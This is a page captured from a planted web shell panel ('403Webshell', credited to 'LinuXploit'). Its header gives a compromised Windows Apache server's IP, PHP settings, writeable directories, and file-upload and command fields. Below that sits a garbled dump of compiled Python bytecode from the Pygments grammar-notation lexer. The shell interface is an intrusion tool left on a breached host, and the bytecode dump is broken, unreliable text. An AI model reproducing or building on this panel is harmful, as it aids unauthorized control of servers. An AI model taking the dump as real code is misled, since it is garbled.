403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pygments/lexers/__pycache__/grammar_notation.cpython-39.pyc
a

SҼa��@s�dZddlZddlmZmZmZmZmZmZddl	m
Z
mZmZm
Z
mZmZmZmZmZgd�ZGdd�de�ZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�ZdS)z�
    pygments.lexers.grammar_notation
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Lexers for grammar notations like BNF.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�bygroups�include�this�using�words)	�Comment�Keyword�Literal�Name�Number�Operator�Punctuation�String�Text)�BnfLexer�	AbnfLexer�	JsgfLexer�PegLexerc@sPeZdZdZdZdgZdgZdgZddee	e
je	�fdefd	e
fd
e
fgiZdS)ra>
    This lexer is for grammar notations which are similar to
    original BNF.

    In order to maximize a number of targets of this lexer,
    let's decide some designs:

    * We don't distinguish `Terminal Symbol`.

    * We do assume that `NonTerminal Symbol` are always enclosed
      with arrow brackets.

    * We do assume that `NonTerminal Symbol` may include
      any printable characters except arrow brackets and ASCII 0x20.
      This assumption is for `RBNF <http://www.rfc-base.org/txt/rfc-5511.txt>`_.

    * We do assume that target notation doesn't support comment.

    * We don't distinguish any operators and punctuation except
      `::=`.

    Though these desision making might cause too minimal highlighting
    and you might be disappointed, but it is reasonable for us.

    .. versionadded:: 2.1
    ZBNFZbnfz*.bnfz
text/x-bnf�rootz(<)([ -;=?-~]+)(>)z::=z[^<>:]+�.N)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypesrrr�Classr
r�tokens�r!r!�D/usr/lib/python3.9/site-packages/pygments/lexers/grammar_notation.pyrs���rc@s�eZdZdZdZdgZdgZdgZdZdde	j
fd	efd
efdefdefd
efdefdefdefdefdefdefe
edd�efdejfdefdefdefdefgiZdS)rz�
    Lexer for `IETF 7405 ABNF
    <http://www.ietf.org/rfc/rfc7405.txt>`_
    (Updates `5234 <http://www.ietf.org/rfc/rfc5234.txt>`_)
    grammars.

    .. versionadded:: 2.1
    ZABNFZabnfz*.abnfztext/x-abnf)ZALPHAZBITZCHARZCRZCRLFZCTLZDIGITZDQUOTEZHEXDIGZHTABZLFZLWSPZOCTETZSPZVCHARZWSPrz;.*$z(%[si])?"[^"]*"z%b[01]+\-[01]+\bz%b[01]+(\.[01]+)*\bz%d[0-9]+\-[0-9]+\bz%d[0-9]+(\.[0-9]+)*\bz%x[0-9a-fA-F]+\-[0-9a-fA-F]+\bz!%x[0-9a-fA-F]+(\.[0-9a-fA-F]+)*\bz\b[0-9]+\*[0-9]+z
\b[0-9]+\*z\b[0-9]+�\*�\b��suffixz[a-zA-Z][a-zA-Z0-9-]+\bz(=/|=|/)z[\[\]()]�\s+rN)rrrrrrrrZ_core_rulesr�Singler
r
rr	rrrrr r!r!r!r"rDs6	��rc@s�eZdZdZdZdgZdgZgd�Zej	ej
BZed�ed�gde
jd	fd
e
jfde
jfgde
jfd
efdefdefdejfdejdfdejdfeddd�ejfdejdfdeeeje�fdedfdefgdejdfdejfd ejfgd!ejdfdejfd"ejfgdedfd
efd#efd$ej fgd%edfd&efd
efd'eej ee�fd(ej!fgd)e
jdfd*ee
je
j"e#e$d+d,��fd-ee
je
j"�fd.e
jfgd/e
jfed�d0e
jfgd1�	Z%d2S)3rzn
    For `JSpeech Grammar Format <https://www.w3.org/TR/jsgf/>`_
    grammars.

    .. versionadded:: 2.2
    ZJSGFZjsgfz*.jsgf)zapplication/jsgfzapplication/x-jsgfz	text/jsgf�comments�non-commentsz
/\*\*(?!/)�documentation commentz/\*[\w\W]*?\*/z//.*z\A#JSGF[^;]*r'�;z[=|()\[\]*+]z/[^/]+/�"�stringz\{�tag)�importZpublicr$r%z	grammar\b�grammar namez(<)(NULL|VOID)(>)�<�rulenamez\w+|[^\s;=|()\[\]*+/"{<\w]+z#popz\\.z[^\\"]+z\}z[^\\}]+�\.z[^;\s.]+�>r#z([^.>]+)(\s*)(\.)z[^.>]+z\*/zB(^\s*\*?\s*)(@(?:example|see)\s+)([\w\W]*?(?=(?:^\s*\*?\s*@|\*/)))�example)�statez(^\s*\*?\s*)(@\S*)z[^*\n@]+|\w|\Wz\n\s*\*r)	rr)r*r.r/r1r3r+r6N)&rrrrrrrr�re�	MULTILINE�UNICODE�flagsrrZ	Multiliner(ZPreprocrrr
rZFloatr�DoubleZOtherrr	ZReservedrrZBuiltinZEscape�	NamespaceZConstant�Specialrrr r!r!r!r"r�s~�
�


��
�
���


������rc@steZdZdZdZdgZdgZdgZddej	fde
fd	efd
efde
eee�fdejfd
ej	fdejfdefg	iZdS)ruZ
    This lexer is for `Parsing Expression Grammars
    <https://bford.info/pub/lang/peg.pdf>`_ (PEG).

    Various implementations of PEG have made different decisions
    regarding the syntax, so let's try to be accommodating:

    * `<-`, `←`, `:`, and `=` are all accepted as rule operators.

    * Both `|` and `/` are choice operators.

    * `^`, `↑`, and `~` are cut operators.

    * A single `a-z` character immediately before a string, or
      multiple `a-z` characters following a string, are part of the
      string (e.g., `r"..."` or `"..."ilmsuxa`).

    .. versionadded:: 2.6
    ZPEGZpegz*.pegz
text/x-pegrz#.*u<-|[←:=/|&!?*+^↑~]z[()]r4z (\[)([^\]]*(?:\\.[^\]\\]*)*)(\])z$[a-z]?"[^"\\]*(?:\\.[^"\\]*)*"[a-z]*z$[a-z]?'[^'\\]*(?:\\.[^'\\]*)*'[a-z]*u#[^\s<←:=/|&!?*+\^↑~()\[\]"\'#]+rN)rrrrrrrrrr(r
rr	rrr<rrrr r!r!r!r"r�s&
���r)rr8Zpygments.lexerrrrrrrZpygments.tokenrr	r
rrr
rrr�__all__rrrrr!r!r!r"�<module>s
 ,0CP

Youez - 2016 - github.com/yon3zu
LinuXploit